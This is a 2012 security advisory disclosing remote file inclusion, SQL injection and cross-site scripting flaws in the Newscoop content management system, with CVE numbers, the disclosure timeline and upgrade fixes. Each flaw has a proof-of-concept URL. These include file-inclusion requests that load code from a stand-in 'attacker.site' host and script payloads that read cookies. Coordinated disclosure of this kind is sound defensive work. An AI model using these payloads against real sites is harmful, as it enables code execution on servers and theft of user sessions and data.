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Multiple vulnerabilities in Newscoop

Advisory ID:HTB23084
Product:Newscoop
Vendor:Sourcefabric o.p.s.
Vulnerable Versions:3.5.3 and probably prior, partially 4.0 RC3
Tested Version:3.5.3
Advisory Publication:March 28, 2012 [without technical details]
Vendor Notification:March 28, 2012
Vendor Fix:April 5, 2012
Public Disclosure:April 18, 2012
Latest Update:April 23, 2012
Vulnerability Type:PHP File Inclusion [CWE-98]
SQL Injection [CWE-89]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-1933
CVE-2012-1934
CVE-2012-1935
Risk Level:Critical
CVSSv2 Base Scores:9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Newscoop, which can be exploited to perform Remote File Inclusion, SQL Injection and Cross-Site Scripting (XSS) attacks.


1) Multiple Remote File Inclusion in Newscoop: CVE-2012-1933

1.1 Input passed via the "GLOBALS[g_campsiteDir]" GET parameter to /include/phorum_load.php is not properly verified before being used in require_once() function and can be exploited to include arbitrary remote files.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/include/phorum_load.php?GLOBALS[g_campsiteDir]=http://attacker.site/file%00

1.2 Input passed via the "GLOBALS[g_campsiteDir]" GET parameter to /conf/install_conf.php is not properly verified before being used in require_once() function and can be exploited to include arbitrary remote files.

The following PoC demonstrates the vulnerability:

http://[host]/conf/install_conf.php?GLOBALS[g_campsiteDir]=http://attacker.site/file%00

1.3 Input passed via the "GLOBALS[g_campsiteDir]" GET parameter to /conf/liveuser_configuration.php is not properly verified before being used in require_once() function and can be exploited to include arbitrary remote files.

The following PoC demonstrates the vulnerability:

http://[host]/conf/liveuser_configuration.php?GLOBALS[g_campsiteDir]=http://attacker.site/file%00

Successful exploitation of these vulnerabilities (1.1 - 1.3) requires that "register_globals" is enabled.


2) SQL Injection in Newscoop: CVE-2012-1934

2.1 Input passed via the "f_country_code" GET parameter to /admin/country/edit.php is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/admin/country/edit.php?f_country_code=%27%20union%20select%201,2,version%28%29%20--%20 2

Successful exploitation of the vulnerability requires attacker to be registered and logged-in and to have permission to manage countries. For successful exploitation "magic_quotes_gpc" should be disabled as well.


3) Multiple Cross-Site Scripting (XSS) in Newscoop: CVE-2012-1935

3.1 Input passed via the "Back" GET parameter to /admin/ad.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of the affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/admin/ad.php?Back=%27%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

3.2 Input passed via the "f_user_name" GET parameter to /admin/login.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/login.php?error_code=upgrade&f_user_name=%22%3E%3Cscript%3Ealert%28document.cook ie%29;%3C/script%3E

3.3 Input passed via the "token" and "f_email" GET parameters to /admin/password_check_token.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.

The following PoC demonstrate the vulnerabilities:

http://[host]/admin/password_check_token.php?token=1&f_email=%22%3E%3Cscript%3Ealert%28document.cook ie%29;%3C/script%3E
http://[host]/admin/password_check_token.php?f_email=1&token=%22%3E%3Cscript%3Ealert%28document.cook ie%29;%3C/script%3E


Solution:
Upgrade to Newscoop 3.5.5
Make sure that "register_globals" is set to off (fix for CVE-2012-1933)

More Information:
http://www.sourcefabric.org/en/newscoop/latestrelease/1141/Newscoop-355-and-Newscoop-4-RC4-security-releases.htm
http://dev.sourcefabric.org/browse/CS-4179


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References:
[1] High-Tech Bridge Advisory HTB23084 - https://www.htbridge.com/advisory/HTB23084 - Multiple vulnerabilities in Newscoop.
[2] Newscoop - http://www.sourcefabric.org - is an open Content Management System for journalists & online newspapers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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